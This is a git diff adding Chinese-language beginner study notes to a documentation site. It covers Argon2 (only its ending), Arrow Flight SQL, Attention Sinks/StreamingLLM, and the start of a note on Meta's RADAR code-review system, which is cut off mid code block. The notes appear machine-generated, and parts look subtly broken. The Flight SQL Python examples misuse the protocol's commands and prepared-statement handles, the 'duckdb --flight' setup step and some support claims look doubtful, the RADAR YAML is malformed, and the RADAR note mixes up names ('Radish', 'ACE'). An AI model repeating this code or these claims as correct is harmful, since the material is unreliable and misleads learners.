+7. **不要自己实现 G / H'**：用审计过的库（libsodium、argon2-cffi、ring、标准 OpenSSL）。密码学原语实现错误比参数选错更致命。
+
+## 安全目标（读论文可深入）
+
+RFC 9106 §7 讨论了几类威胁：
+
+- **在线猜测**：Argon2 帮不上忙——限速、MFA、锁定策略才是主力。
+- **离线字典 / 暴力**：Argon2 通过 m、t、p 拉高每次猜测成本。
+- **TMTO**：Argon2d / Argon2id 后半段针对「少占内存、多算时间」的权衡；Argon2i 靠增加 t 补偿。
+- **侧信道**：Argon2i / Argon2id 前半段用数据独立索引，减轻缓存计时泄露。
+
+Argon2i 经验法则：passes **t** 应大于 **log₂(m) − 26**（m 以 KiB 计），否则 TMTO 可能过划算——实现者调低内存时要同步加 t。
+
+## 常见误区
+
+| 误区 | 事实 |
+|------|------|
+| 「Argon2 比 SHA-256 安全」 | 用途不同；SHA-256 是快哈希，Argon2 是**故意慢**的口令拉伸 |
+| 「内存越大越好，t 永远是 1」 | 要在**可接受登录延迟**内平衡；移动端 2 GiB 不现实 |
+| 「用 Argon2d 登录更快更安全」 | 多租户服务器上 Argon2d 可能泄露访问模式，应用 **Argon2id** |
+| 「哈希完还能用 HKDF 扩密钥」 | 可以：Argon2 输出高熵 secret 后，再用 [[hkdf-rfc5869]] 按上下文切分 |
+| 「把迭代调到 100 就够用」 | 只看 t 不看 m，GPU 仍舒服；**先拉 m 再拉 t** |
+
+## 与周边知识
+
+- **PHC（2013–2015）**：公开征集、透明评审，Argon2 击败 yescrypt、Makwa、Catena 等
+- **BLAKE2b**：Argon2 内部哈希与压缩的基础（见 [[blake2-2013]] 若仓库有笔记）
+- **RFC 9106 测试向量**：实现 Argon2d/i/id 时应用 §5 向量做回归；首块/末块中间值便于调试
+- **Java**：JEP 草案在 `SunJCE` 提供 Argon2id `KDF` SPI，与 RFC 9106 对齐
+
+## 小结
+
+Argon2 解决的是：**攻击者离线批量试密码时，如何同时烧时间、烧内存、还能在多核服务器上可调**。记住四件事就够上手：
+
+1. 密码存储默认 **Argon2id + 随机 16 字节盐**  
+2. 参数优先抄 RFC **FIRST / SECOND RECOMMENDED**，再按延迟微调  
+3. 验证用库函数 + **常量时间比较**  
+4. 弱口令仍会输——Argon2 是**抬高破解成本**，不是替代用户教育或 MFA
+
+原始论文标题即 *Argon2: the memory-hard function for password hashing and other applications*；读懂「内存困难 + 三变体 + 旋钮 m/t/p」，就掌握了 2015 年以来现代密码哈希的主线设计。
diff --git a/src/content/docs/papers/arrow-flight-sql-2026.md b/src/content/docs/papers/arrow-flight-sql-2026.md
new file mode 100644
index 000000000..36761cda1
--- /dev/null
+++ b/src/content/docs/papers/arrow-flight-sql-2026.md
@@ -0,0 +1,220 @@
+---
+title: Arrow Flight SQL: Zero-Copy Federated Query at Scale
+来源: https://arxiv.org/abs/2605.30743
+日期: 2026-06-13
+分类: 数据库
+子分类: 存储与查询
+provenance: pipeline-v3
+---
+
+# Arrow Flight SQL: Zero-Copy Federated Query at Scale
+
+## 一、从"快递"开始：为什么我们需要它
+
+想象你在一家大型电商公司工作。公司有十几个数据库：订单存在 PostgreSQL 里，用户信息存在 MySQL 里，日志存在 ClickHouse 里，报表数据存在 Snowflake 里。
+
+现在老板说："给我拉一份报表，要跨所有这些库的数据。"
+
+传统做法是什么？你写一段 Python，用 JDBC 或 ODBC 分别连每个库，把数据拉到你的服务器上，在内存里拼起来——这就是**ETL**。问题是：
+
+1. **数据拷贝了多次**：每个数据库 -> 你的机器 -> 再发给别人
+2. **格式不统一**：每个数据库有自己的二进制格式，转换消耗 CPU
+3. **延迟高**：数据在网络里来回穿梭
+
+Arrow Flight SQL 解决了什么？它让**所有数据库共享同一种内存格式（Apache Arrow）**，查询结果可以直接跨网络以零拷贝方式传递。
+
+类比：以前是每个快递公司用自己的包装箱，收到后要拆包再打包。现在所有快递公司都用标准集装箱——直接吊上车，不用拆。
+
+## 二、核心概念拆解
+
+### 2.1 Apache Arrow：列式内存格式
+
+Arrow 是一种**列式、内存中**的数据格式。它的核心思想是：同一列的数据在内存里连续存放（比如所有整数排在一起，所有字符串排在一起），而不是像传统行式存储那样一行挨一行。
+
+好处：CPU 缓存友好，向量化的 SIMD 指令可以直接处理整列数据，速度极快。
+
+### 2.2 gRPC / Flight RPC：传输层
+
+Arrow Flight 是基于 gRPC 的远程过程调用（RPC）框架。它定义了客户端和服务器之间如何传输 Arrow 数据块（Record Batch）。
+
+你可以把它理解为一个"搬运 Arrow 数据"的标准协议。
+
+### 2.3 Flight SQL：在 Flight 之上加 SQL
+
+Flight SQL 是 Apache Arrow 的规范文档（见 arrow.apache.org/docs/format/FlightSql.html），它在 Flight RPC 框架上增加了一组 SQL 命令：
+
+- 执行 SQL 查询（`CommandStatementQuery`）
+- 预处理语句（`CommandPreparedStatementQuery`）
+- 批量数据导入（`CommandStatementIngest`）
+- 获取数据库元数据（表列表、列信息、主键等）
+- 会话管理（设置 catalog/schema 等选项）
+
+**关键点**：查询结果不是传统的关系型结果集，而是直接以 Arrow Record Batch 流的形式返回。客户端收到后可以直接喂给 Pandas、DuckDB、DataFusion 等工具，中间**没有任何序列化/反序列化**。
+
+## 三、零拷贝是什么意思？
+
+假设你在做数据分析：
+
+1. 数据库服务器执行 SQL 查询
+2. 结果以 Arrow 格式从数据库引擎内存直接发到网络上
+3. 客户端收到 Arrow Record Batch 流
+4. 客户端的查询引擎（如 DataFusion）直接消费这些 Arrow 数据
+
+传统方式中，步骤 2 的数据要经过"数据库内部格式 -> JSON/Protobuf -> 网络 -> 解析 -> 内存对象"的多次转换。而 Arrow Flight SQL 让数据从数据库引擎的列式内存直接流向消费者的列式内存，格式不变、拷贝最少。
+
+这就是"零拷贝"——不是完全没拷贝（网络传输本身要拷贝），而是**跳过了格式转换层**。
+
+## 四、代码示例
+
+### 示例 1：用 Python 执行查询
+
+这是使用 `pyarrow.flight` 连接一个支持 Flight SQL 的服务器（如 DuckDB、Apache DataFusion、ClickHouse）：
+
+```python
+import pyarrow as pa
+import pyarrow.flight
+
+# 1. 连接到 Flight SQL 服务器
+# 假设有一个运行中的 DuckDB 实例，监听 localhost:32010
+client_options = [
+    ("dns_resolution_attempts", 5),
+]
+client = pyarrow.flight.FlightClient(
+    "grpc://localhost:32010", options=client_options
+)
+
+# 2. 执行一条 SQL 查询（ad-hoc 查询）
+sql_command = b"SELECT * FROM read_csv_auto('orders.csv')"
+
+# 获取查询结果的位置信息（FlightInfo）
+descriptor = pyarrow.flight.FlightDescriptor.for_command(sql_command)
+flight_info = client.get_flight_info(descriptor)
+
+# 3. 从返回的端点下载数据
+for endpoint in flight_info.endpoints:
+    for ticket in endpoint.tickets:
+        reader = client.do_get(ticket)
+        # 结果直接是 Arrow RecordBatchReader，零拷贝！
+        for batch in reader:
+            df = pa.Table.from_batches([batch]).to_pandas()
+            print(df.head())
+```
+
+注意第 20 行：`reader` 返回的不是普通的游标或列表，而是 `RecordBatchReader`——一个流式迭代器，直接产出 Arrow 数据块。你可以把它直接送给 Pandas、Polars 或任何 Arrow 兼容的工具，**不需要 JSON 解析或 ORM 映射**。
+
+### 示例 2：预处理语句 + 会话管理
+
+预处理语句相当于 SQL 中的"预编译"。你先把 SQL 模板发给服务器，服务器编译好给你一个"句柄"（handle），之后你只需传参数，不需要重复解析 SQL：
+
+```python
+import pyarrow as pa
+import pyarrow.flight
+import pyarrow.flight.sql
+
+# 1. 创建客户端并建立会话
+client = pyarrow.flight.FlightClient("grpc://localhost:32010")
+
+# 2. 创建预处理语句
+sql = "SELECT user_id, total FROM orders WHERE status = ? AND amount > ?"
+action = pyarrow.flight.Action("CreatePreparedStatement", sql.encode())
+result = client.do_action(action)
+
+# 3. 服务器返回一个句柄（handle）
+handle_bytes = next(result.body).to_pybytes()
+handle = pa.py_buffer(handle_bytes)
+
+# 4. 绑定参数并执行
+# 参数值也是以 Arrow 格式发送的
+params_batch = pa.record_batch([
+    pa.array(["shipped"], type=pa.string()),   # status = 'shipped'
+    pa.array([100.0], type=pa.float64())        # amount > 100
+], names=['f0', 'f1'])
+
+# 用 DoPut 发送参数 + 句柄
+ticket = pyarrow.flight.Ticket(handle)
+descriptor = pyarrow.flight.FlightDescriptor.for_command(handle)
+
+# 发送参数流
+writer, _ = client.do_put(descriptor, params_batch.schema)
+writer.write_batch(params_batch)
+writer.close()
+
+# 5. 获取结果
+flight_info = client.get_flight_info(descriptor)
+for endpoint in flight_info.endpoints:
+    reader = client.do_get(endpoint.tickets[0])
+    table = reader.read_all()
+    print(table.to_pandas())
+
+# 6. 关闭预处理语句释放资源
+close_action = pyarrow.flight.Action(
+    "ClosePreparedStatement", handle_bytes
+)
+client.do_action(close_action)
+```
+
+这个例子展示了 Flight SQL 的两个重要特性：
+
+- **参数以 Arrow 格式传递**（不是字符串拼接，不是 JDBC 的 setString）
+- **句柄机制**让预处理语句的状态在服务器端维护，客户端只需要传 handle + 参数
+
+## 五、典型架构：联邦查询
+
+```
+[PostgreSQL]  [MySQL]  [ClickHouse]  [Snowflake]
+     |           |           |           |
+   [Flight SQL Server (每库一个)]
+          \         |         /           /
+           \        |        /           /
+            [ Arrow Flight RPC 网络层 (gRPC, HTTP/2) ]
+                          |
+                  [ Arrow Record Batch 流 ]
+                          |
+              [ 统一查询引擎：DataFusion / DuckDB ]
+                          |
+                  [ 结果：Pandas / Polars / BI 工具 ]
+```
+
+每个数据库前面跑一个 Flight SQL 代理（Proxy），把数据库的查询结果转换成 Arrow 格式输出。统一查询引擎通过网络拿到所有数据流后，在内存里做 JOIN、聚合等操作——**所有数据都以同一种列式格式存在**，不需要格式转换。
+
+## 六、生态中的 Flight SQL 实现
+
+| 实现 | 语言 | 特点 |
+|------|------|------|
+| DuckDB | C++ | 嵌入式，支持 in-process Flight SQL 服务器 |
+| Apache DataFusion | Rust | 分布式查询引擎，Flight SQL 是一等公民 |
+| ClickHouse | C++ | 内置 Flight SQL 端点 |
+| RisingWave | Rust | 流式数据库，支持 Flight SQL |
+| Apache Arrow Flight (官方案例) | C++/Rust | 参考实现 |
+
+## 七、Flight SQL vs 传统 JDBC/ODBC
+
+| 维度 | JDBC/ODBC | Flight SQL |
+|------|-----------|------------|
+| 数据格式 | 行式，驱动特定 | Arrow 列式，统一 |
+| 序列化 | 驱动内部格式 | 零拷贝（同格式直接传递） |
+| 传输协议 | TCP / 专有 | gRPC (HTTP/2) |
+| 跨语言 | 需要对应驱动 | 任意语言只要有 Arrow 库 |
+| 流式传输 | 支持但需逐行读取 | 原生支持 RecordBatch 流 |
+| 预处理语句 | 标准 API | 通过 Handle 机制实现 |
+
+## 八、总结
+
+Arrow Flight SQL 的核心价值可以用一句话概括：
+
+> **让 SQL 查询结果以标准化的列式内存格式在网络中流动。**
+
+它不取代数据库，不取代 SQL 语言，而是在"数据库"和"查询引擎"之间铺了一条高速公路——这条路的标准集装箱就是 Arrow。
+
+对零基础学习者的关键 takeaway：
+- Arrow 解决了"数据在不同系统间传递时的格式统一"问题
+- Flight SQL 解决了"SQL 查询结果如何高效跨网络传输"问题
+- 零拷贝的核心是"格式不变，直接传递"
+- 生态正在快速增长，DuckDB 和 DataFusion 是两个最容易上手的切入点
+
+## 九、进一步学习建议
+
+1. 本地跑一个 DuckDB 的 Flight SQL 服务器（`pip install duckdb` + `duckdb --flight`）
+2. 用上面示例 1 的 Python 代码连上去执行查询
+3. 阅读 Apache Arrow Flight SQL 官方规范：arrow.apache.org/docs/format/FlightSql.html
+4. 尝试 DataFusion（Rust）：https://datafusion.apache.org/
diff --git a/src/content/docs/papers/attention-sinks-2024.md b/src/content/docs/papers/attention-sinks-2024.md
new file mode 100644
index 000000000..df1e6f36d
--- /dev/null
+++ b/src/content/docs/papers/attention-sinks-2024.md
@@ -0,0 +1,229 @@
+---
+title: "Attention Sinks 与 StreamingLLM：让大模型无限流式推理"
+来源: https://arxiv.org/abs/2309.17453
+日期: 2026-06-13
+分类: 机器学习
+子分类: ML 系统
+provenance: pipeline-v3
+---
+
+# Attention Sinks 与 StreamingLLM：让大模型无限流式推理
+
+## 1. 一个日常类比：餐厅的"注意力天花板"
+
+想象你去一家餐厅，服务员要记住你整个点的菜。如果点了 1000 道菜，服务员得记住 1000 个菜的详情——他的大脑（内存）会放不下。
+
+一个自然的想法是：只记住最近点的 20 道菜。这就是所谓的"窗口注意力"（Window Attention）。但问题是：当你忘了最早点的几道菜时，餐厅的整套点菜系统就崩溃了。
+
+为什么？因为这些最早点的菜，就像一个"注意力水坑"（Attention Sink）——即使它们不好吃，所有后面的菜都会把"注意力"（关注度）流过去，因为它们是整个菜单的开头。
+
+这篇文章就是发现了这个"水坑"，然后学会利用它，让餐厅能无限点菜，内存永远够用。
+
+## 2. 背景知识：LLM 是怎么"说话"的
+
+大语言模型（LLM）每次生成一个新词时，都要回头看之前说过的所有词。它用一种叫 **Transformer 的 Attention 机制** 来做这件事。
+
+简单来说，每生成一个词，模型会先把它之前所有的词转成 **KV 对**（Key-Value pairs），缓存起来。每次需要生成新词时，就用这些 KV 去跟新词做"注意力匹配"。
+
+```python
+# 伪代码：传统 LLM 的注意力机制（每次都要看全部历史）
+for token in input_sequence:
+    key, value = model.encode(token)
+    kv_cache.append((key, value))  # 缓存所有历史
+
+# 生成新词时，注意力分数 = 对所有历史 KV 做 softmax
+def attention(query, kv_cache):
+    scores = []
+    for k, v in kv_cache:
+        score = query @ k.T  # 计算每个历史词的匹配度
+        scores.append(score)
+    # softmax 让所有分数加起来 = 1
+    weights = softmax(scores)
+    return sum(w * v for w, v in zip(weights, kv_cache))
+```
+
+问题就在这里：**kv_cache 会随着对话越来越长，内存爆炸。**
+
+## 3. 核心问题：窗口注意力为什么不工作？
+
+一个直观的想法：既然内存有限，那我只保留最近的 N 个词的 KV，旧的扔掉，不就行了？
+
+实验发现：**不行。** 一旦你扔掉了最开始的几个词，模型的表现直接崩溃。 perplexity（困惑度，衡量模型有多"困惑"的指标）从 5 暴增到 5000+。
+
+作者发现，即使你把最初的词替换成毫无意义的换行符 `\n`，只要保留它们的位置，模型表现就恢复正常。这说明——**模型不关心这些词是什么意思，它关心的是它们的位置。**
+
+## 4. 核心概念：Attention Sink（注意力水坑）
+
+### 4.1 什么是 Attention Sink？
+
+作者发现一个有趣的现象：在 LLM 的注意力机制中，**大部分层的绝大多数注意力头，都会分配大量注意力分数给序列开头的几个词**，即使这些词跟当前要生成的词完全没有语义关系。
+
+他们把这些开头的词称为 **Attention Sink（注意力水坑）**。
+
+为什么会出现水坑？因为 **Softmax 函数有一个硬性约束**：它要求所有注意力分数加起来等于 1。
+
+```
+    softmax(x)[i] = e^x[i] / Σ_j(e^x[j])
+```
+
+即使当前词不需要关注之前的任何词，softmax 也要求它"必须把注意力分配给某个地方"。于是模型就把那些"多余的注意力"灌到开头那几个词上。
+
+这就像你有一杯水（注意力 = 1），即使你口渴但不想喝，你也得把水倒进水槽里，而不能让它凭空消失。开头的词就是这个水槽。
+
+### 4.2 为什么是"开头"的词？
+
+因为 LLM 是自回归的——每个词只能看到它之前的词。开头的那些词，被几乎所有后面的词都能看到，所以它们最容易成为"被灌注意力"的目标。
+
+```
+Token: <s> I  like  to  eat  pizza  .
+Layer 5 注意力分布: [0.65, 0.02, 0.02, 0.02, 0.02, 0.02, 0.25]
+                    ^^^^ 这些开头词吸收了绝大部分"多余注意力"
+```
+
+## 5. StreamingLLM 的解决方案：滚动 KV Cache + 保留水坑
+
+StreamingLLM 的核心思路非常简单，但非常有效：
+
+1. **保留开头的 4 个词**的 KV（作为 Attention Sink）
+2. **滚动缓存最近的 N 个词**的 KV
+3. 注意力计算时，同时用这两部分 KV
+
+这样内存永远固定（4 + N），模型表现也稳定。
+
+```python
+# 核心数据结构：两个部分的 KV Cache
+class StreamingKVCache:
+    def __init__(self, sink_size=4, window_size=2048):
+        self.sink_kvs = []          # 固定的：开头 4 个词的 KV
+        self.window_kvs = []        # 滚动的：最近 window_size 个词的 KV
+        self.sink_size = sink_size
+        self.window_size = window_size
+
+    def add(self, key, value):
+        """添加新 token 的 KV"""
+        if len(self.sink_kvs) < self.sink_size:
+            self.sink_kvs.append((key, value))  # 先攒够 sink
+        else:
+            self.window_kvs.append((key, value))
+            if len(self.window_kvs) > self.window_size:
+                self.window_kvs.pop(0)          # 满了就踢掉最老的
+
+    def get_all_kvs(self):
+        """注意力计算时，返回 sink + window"""
+        return self.sink_kvs + self.window_kvs
+```
+
+### 5.1 位置编码的处理：在 cache 内的相对位置
+
+一个关键细节：StreamingLLM 使用** cache 内部的相对位置**，而不是原始文本中的绝对位置。
+
+比如原始文本中第 1000 个词被加入 cache 时，它在 cache 里的位置可能是 7——因为它前面的词很多已经被踢出了 window。但模型只需要知道"它是 cache 里的第 7 个"，而不需要知道"它是全文的第 1000 个"。
+
+```python
+# 位置编码的处理方式
+def apply_rope_position_transform(keys, cache_positions):
+    """
+    对 cache 中的 keys 应用旋转位置编码。
+    cache_positions 是 [0, 1, 2, 3, 4, 5, ...] 这样的连续位置，
+    而不是原文本中的 [0, 1, 2, 3, 600, 601, ...]
+    """
+    for i, pos in enumerate(cache_positions):
+        keys[i] = rotate(keys[i], pos)  # 旋转角度由 cache 内位置决定
+    return keys
+```
+
+### 5.2 为什么是 4 个词？
+
+实验发现：**4 个初始词就够了。**
+
+| 保留初始词数 | Llama-2-13B 的 Perplexity |
+|---|---|
+| 0（纯窗口） | 5158（崩溃） |
+| 1 | 11.88 |
+| 2 | 10.51 |
+| 4 | 5.40 |
+| 8 | 5.38（收益递减） |
+
+4 个词之后，增加数量几乎没有效果。
+
+## 6. 进阶：预训练时加入专用的 Sink Token
+
+论文还提出了一个更优雅的方案：**在预训练阶段，在每个训练样本的最前面加一个特殊的"Sink Token"**。
+
+这个特殊的 token 在训练过程中学会专门吸收那些"多余注意力"。结果就是：
+
+- 模型**只需要这一个 token** 就能稳定流式推理
+- 不需要保留任何"初始词"
+- 普通任务的性能完全不受影响
+
+```python
+# 预训练时的处理方式
+def preprocess_for_training(text):
+    """在每个训练样本前加一个特殊的 sink token"""
+    return "<sink>" + text
+    # 模型学会：<sink> token = 专门吸收多余注意力的"水槽"
+```
+
+有了这个 Sink Token，推理时的 cache 就只有一个固定 token + 滚动窗口，更加简洁。
+
+## 7. 效果对比
+
+### 7.1 长文本建模（400 万字）
+
+StreamingLLM 让 Llama-2、MPT、Falcon、Pythia 等模型都能稳定处理超过 400 万 token 的文本：
+
+```
+模型           | 方法              | 4M token 的 Perplexity
+--------------|-------------------|----------------------
+Llama-2-13B   | Dense Attention   | OOM（内存溢出）
+Llama-2-13B   | Window Attention  | 崩溃（>5000）
+Llama-2-13B   | StreamingLLM      | 稳定 ≈5.5
+Llama-2-70B   | StreamingLLM      | 稳定 ≈3.2
+```
+
+### 7.2 多轮对话
+
+在多轮 ARC 问答任务中：
+
+```
+模型              | 方法              | Arc-C 准确率
+-----------------|-------------------|-------------
+Llama-2-70B-Chat  | Dense (one-shot)  | 78.50%
+Llama-2-70B-Chat  | Window Attention  | 0.32%（随机）
+Llama-2-70B-Chat  | StreamingLLM      | 80.20%
+```
+
+StreamingLLM 的准确率甚至超过了 off-line 的 one-shot 方法。
+
+### 7.3 速度
+
+StreamingLLM 比滑动窗口 + 重新计算的 baseline 快 **22.2 倍**，而且推理速度恒定，不随输入长度增加而变慢。
+
+## 8. 核心贡献总结
+
+1. **发现 Attention Sink 现象**：开头词的"多余注意力"不是 bug，而是 softmax 的必然结果
+2. **提出 StreamingLLM**：保留 4 个初始词 + 滚动缓存，无需微调即可流式推理
+3. **支持无限长度**：实验验证到 400 万 token 以上仍稳定
+4. **Sink Token 预训练**：在预训练时加入专用 sink token，进一步简化推理
+5. **通用性**：适用于所有使用 RoPE 或 ALiBi 位置编码的模型
+
+## 9. 个人思考：从第一性原理理解
+
+回到最基础的问题：为什么 Attention Sink 会出现？
+
+从第一性原理推导：
+
+1. **Softmax 是归一化的** → 所有注意力分数之和必须等于 1
+2. **模型不需要在所有位置都有强注意力** → 但它仍然需要分配注意力值
+3. **分配给谁？最"全局可见"的词最合适** → 开头词被所有后续词覆盖
+4. **开头词成为"水槽"** → 多余注意力自然流向它们
+
+这个推导不依赖于任何特定模型，它来自于 softmax 的数学性质和自回归建模的结构特性。这也是为什么 Llama、MPT、Falcon 等不同架构的模型都出现了相同的现象。
+
+理解了这一点，StreamingLLM 的解决方案就变得非常自然：**既然开头词注定要被分配注意力，那就永远保留它们。** 这就像治水——不是堵住水流，而是修一个水槽。
+
+## 10. 延伸阅读
+
+- 原始论文：https://arxiv.org/abs/2309.17453
+- 代码仓库：https://github.com/mit-han-lab/streaming-llm
+- 相关方向：FlashAttention、LongChat（RoPE 外推）、ALiBi（位置偏置）
diff --git a/src/content/docs/papers/attention.md b/src/content/docs/papers/attention.md
index 14573c306..bad518f00 100644
--- a/src/content/docs/papers/attention.md
+++ b/src/content/docs/papers/attention.md
@@ -150,6 +150,8 @@ base 模型 8 个头独立学：头 1 学语法（主语↔谓语）、头 2 学
 - [[filip-2021]] —— FILIP — 把 CLIP 的图文对齐细化到 token 级
 - [[flamingo-2022]] —— Flamingo — 让冻结的大模型学会看图，几张样例就上手
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
+- [[flashattention-3-2024]] —— FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
 - [[gat-2018]] —— GAT — 让图神经网络的邻居自带权重
 - [[gcn-2017]] —— GCN 2017 — 把卷积搬到图结构上的最简版本
 - [[goodfellow-fgsm-2014]] —— FGSM — 用一行梯度让神经网络看错图片
@@ -183,6 +185,7 @@ base 模型 8 个头独立学：头 1 学语法（主语↔谓语）、头 2 学
 - [[neumf-2017]] —— NeuMF — 用神经网络替掉推荐系统的内积
 - [[nickolls-dally-2010-cuda-era]] —— Nickolls-Dally 2010 — GPU 怎么从画三角形变成跑 AI
 - [[orca-continuous-batching]] —— Orca — 让一批 LLM 请求随到随走，不再排队等最长那个
+- [[paged-attention-vllm]] —— PagedAttention 与 vLLM — 零基础学习笔记
 - [[parti-2022]] —— Parti — 把文生图当作翻译，用自回归 Transformer 一像素接一像素地写
 - [[pascal-architecture-2016]] —— NVIDIA Pascal P100 — HBM2 + NVLink + FP16 让 Tesla 真正变成 AI 卡
 - [[performer-2020]] —— Performer — 用随机特征把 softmax attention 拉成线性复杂度
diff --git a/src/content/docs/papers/automating-low-risk-code-review-at-meta-radar-arxiv-2605-30208.md b/src/content/docs/papers/automating-low-risk-code-review-at-meta-radar-arxiv-2605-30208.md
new file mode 100644
index 000000000..0c89df94b
--- /dev/null
+++ b/src/content/docs/papers/automating-low-risk-code-review-at-meta-radar-arxiv-2605-30208.md
@@ -0,0 +1,398 @@
+---
+title: Automating Low-Risk Code Review at Meta RADAR
+来源: https://arxiv.org/abs/2605.30208
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# Automating Low-Risk Code Review at Meta: RADAR
+
+## 一、引言：为什么要自动化代码审查
+
+### 1.1 一个日常类比
+
+想象你在一家大型超市工作，每天有成千上万的商品需要上架。过去，每个商品都要经理亲自检查一遍标签、价格、保质期。后来超市引入了自助扫描和 AI 摄像头，低风险的简单商品（比如一包已知品牌的盐）可以直接上架，只有异常商品（比如价格标签跟系统对不上）才需要经理介入。
+
+RADAR 做的就是一件事：**把低风险代码变更自动通过代码审查**，让人类只关注真正有风险的部分。
+
+### 1.2 背景与动机
+
+Meta 的软件开发模式有几个关键特点：
+
+- 使用 **Phabricator** 作为代码审查平台（类似 GitHub 的 PR 系统）
+- 每个代码变更叫 **diff**（difference 的缩写）
+- 代码必须经过 peer review（同事审查）+ 自动化测试 + 逐步部署
+- 所有代码在**单体仓库（monorepo）**中管理
+
+但 AI 编码工具改变了游戏规则：
+
+| 指标 | 年增长率 |
+|------|---------|
+| 每次 diff 的有效代码行数 | +105.9% |
+| 每个开发者每月 diff 数量 | +51% |
+| agentic AI 贡献的增长 | >80% |
+
+与此同时，24 小时内被及时审查的 diff 比例却在下降。这意味着：**代码的生产速度远超人类审查的能力**。
+
+在这个背景下，Radish 论文提出三个研究问题：
+
+1. **可行性（Feasibility）**：风险分级的自动化能否在大规模下运行？
+2. **校准（Calibration）**：调整风险阈值如何影响自动化产出与安全性之间的权衡？
+3. **影响（Impact）**：自动化审查能在多大程度上减少 AI 生成代码的端到端延迟？
+
+## 二、核心概念拆解
+
+### 2.1 RADAR 是什么
+
+RADAR = **R**isk **A**ware **D**iff **A**uto **R**eview（风险感知 diff 自动审查）
+
+它是一个**多阶段漏斗（multi-stage funnel）**，每一层都像安检一样逐步筛选：
+
+```
+diff 进入
+  |
+  +-> 第1层：作者身份分类（人类 / 机器）
+  |
+  +-> 第2层：准入资格检查（eligibility gates）
+  |
+  +-> 第3层：静态启发式规则（static heuristics）
+  |
+  +-> 第4层：Diff Risk Score（机器学习模型打分）
+  |
+  +-> 第5层：LLM 自动化代码审查（ACR）
+  |
+  +-> 第6层：确定性验证（deterministic validation）
+  |
+  +-> 通过：自动合入（auto-land）
+  +-> 未通过：转人工审查
+```
+
+### 2.2 RACER：AI 代码生成工具
+
+在讲 RADAR 之前，需要先认识它的"搭档"**RACER**（Risk-Aware Code Editing and Refactoring）：
+
+- RACER 是一个 AI 工具，帮开发者自动生成代码变更
+- 开发者写一个**runbook**（操作手册），告诉 RACER 要做什么
+- RACER 在沙箱里生成 diff，跑验证，提交审查
+- RACER 每天约生成 3,000 个 diff，其中 59% 不需要人类修改就落地
+
+**关键关系**：RACER 生成的 diff 是 RADAR 的主要输入来源之一。
+
+### 2.3 Diff Risk Score (DRS)：核心打分模型
+
+DRS 是 RADAR 的心脏。它做的事情是：**预测一个 diff 有多大可能引发线上事故（Production Incident）**。
+
+DRS 的打分方式是百分位制：
+
+- **P5** = 只有最安全的 5% 的 diff 能通过
+- **P20** = 最安全的 20% 能通过
+- **P50** = 最安全的 50% 能通过
+
+打个比方：学校考试，P5 就是"全班只有前 5% 的学生能及格"，P50 就是"全班前 50% 能及格"。P 值越低，门槛越严格。
+
+DRS 原本是为代码冻结期（code freeze）低风险的 diff 能直接合入而开发的，现在已扩展到 Meta 约 20 个风险感知功能。
+
+### 2.4 Automated Code Review (ACR)：LLM 做审查
+
+ACR 是一个基于大语言模型的代码审查智能体：
+
+- 它不仅看 diff 的元数据（文件路径、行数），还能**理解代码的实际语义**
+- 它把 diff 中的每个变更分类为 **安全信号** 或 **风险信号**
+
+**安全信号**的例子：
+
+- 重构（不改行为）
+- 删除死代码
+- 增加防御性编程
+- 添加日志
+- 纯格式修改
+- 文档/注释更新
+
+**风险信号**的例子：
+
+- 高复杂度变更（复杂度评分 >= 4）
+- 重大结构性变更
+- 识别出的 bug 或逻辑错误
+- 性能风险
+- 安全漏洞（密钥泄露、SQL 注入、认证绕过）
+
+ACR 的 auto-accept 条件非常严格：
+
+- 置信度 >= 8/10
+- 所有变更都归类为安全类别
+- 任何一个风险信号都会导致自动不合格
+
+## 三、RADAR 的准入模型（Eligibility Model）
+
+RADAR 最独特的设计在于：**不同的 diff 走不同的准入路径**。
+
+### 3.1 第一层：作者分类
+
+```
+diff
+  |
+  +-- 人类写的 (Human authored)
+  |     |
+  |     +--> 进入 RADAR Verification + Approval 管道
+  |
+  +-- 机器写的 (Bot authored)
+        |
+        +-- 确定性 codemod (Deterministic codemod)
+        |     |
+        |     +--> Blanket AutoAccept（完全自动，无需逐 diff 审查）
+        |
+        +-- AI 生成的 codemod
+              |
+              +--> Conditional AutoAccept（需逐 diff 过 ACE 管道）
+        |
+        +-- RACER runbook
+              |
+              +--> 按 runbook 单独评估（最细粒度）
+```
+
+### 3.2 三种机器 diff 的准入方式
+
+**方式 1：确定性 codemod → Blanket AutoAccept**
+
+确定性 codemod 是那种"输入已知代码，输出确定代码"的转换，比如 API 迁移、import 整理。因为转换本身经过审核，所以 diff 可以**直接全量通过**，不需要逐 diff 审查。
+
+**方式 2：AI 生成的 codemod → Conditional AutoAccept**
+
+AI 生成的 codemod 每次输出的 diff 可能不同（因为 AI 会根据上下文生成），所以每个 diff 都要单独走 ACE 管道（包括 DRS 打分 + ACR 审查）。
+
+**方式 3：RACER runbook → 逐 runbook 评估**
+
+这是最细粒度的方式。每个 RACER runbook 要满足四个条件：
+
+1. **风险历史**：过去 60 天内零线上事故、低回退率、低拒绝率
+2. **每日限额**：防止单个 runbook 淹没提交队列
+3. **DRS 阈值**：可信 runbook 用 P50，新 runbook 用 P20
+4. **黑名单**：出过事故的 runbook 永久禁止自动合入
+
+## 四、代码示例
+
+### 4.1 示例 1：DRS 阈值配置（YAML）
+
+不同 runbook 可以配置不同的 DRS 阈值：
+
+```yaml
+# 高风险 runbook：严格的 P20 阈值
+runbook: "fix-dead-code-cleanup"
+  risk_threshold: P20        # 只有最安全的 20% diff 能过
+  daily_limit: 500           # 每天最多 500 个 diff
+  allowlist: false           # 未列入白名单，用严格阈值
+
+# 低风险 runbook：宽松的 P50 阈值
+runbook: "api-migration-v2"
+  risk_threshold: P50        # 最安全的 50% diff 能过
+  daily_limit: 2000          # 每天最多 2000 个 diff
+  allowlist: true            # 已列入白名单（60天零事故）
+
+# 被拉黑的 runbook
+runbook: "auth-module-refactor"
+  status: BLOCKED            # 出过线上事故，永久禁止
+  reason: "caused PI-2026-0315"
+```
+
+**设计意图**：同一个工具，不同 runbook 的待遇可以完全不同。安全记录好的 runbook 享受更宽松的阈值，出过问题的 runbook 被限制甚至拉黑。
+
+### 4.2 示例 2：ACR 安全/风险信号分类
+
+ACR 对 diff 中的每个变更做语义分类：
+
+```python
+# ACR 看到的 diff 片段
+diff --git a/server/auth.py b/server/auth.py
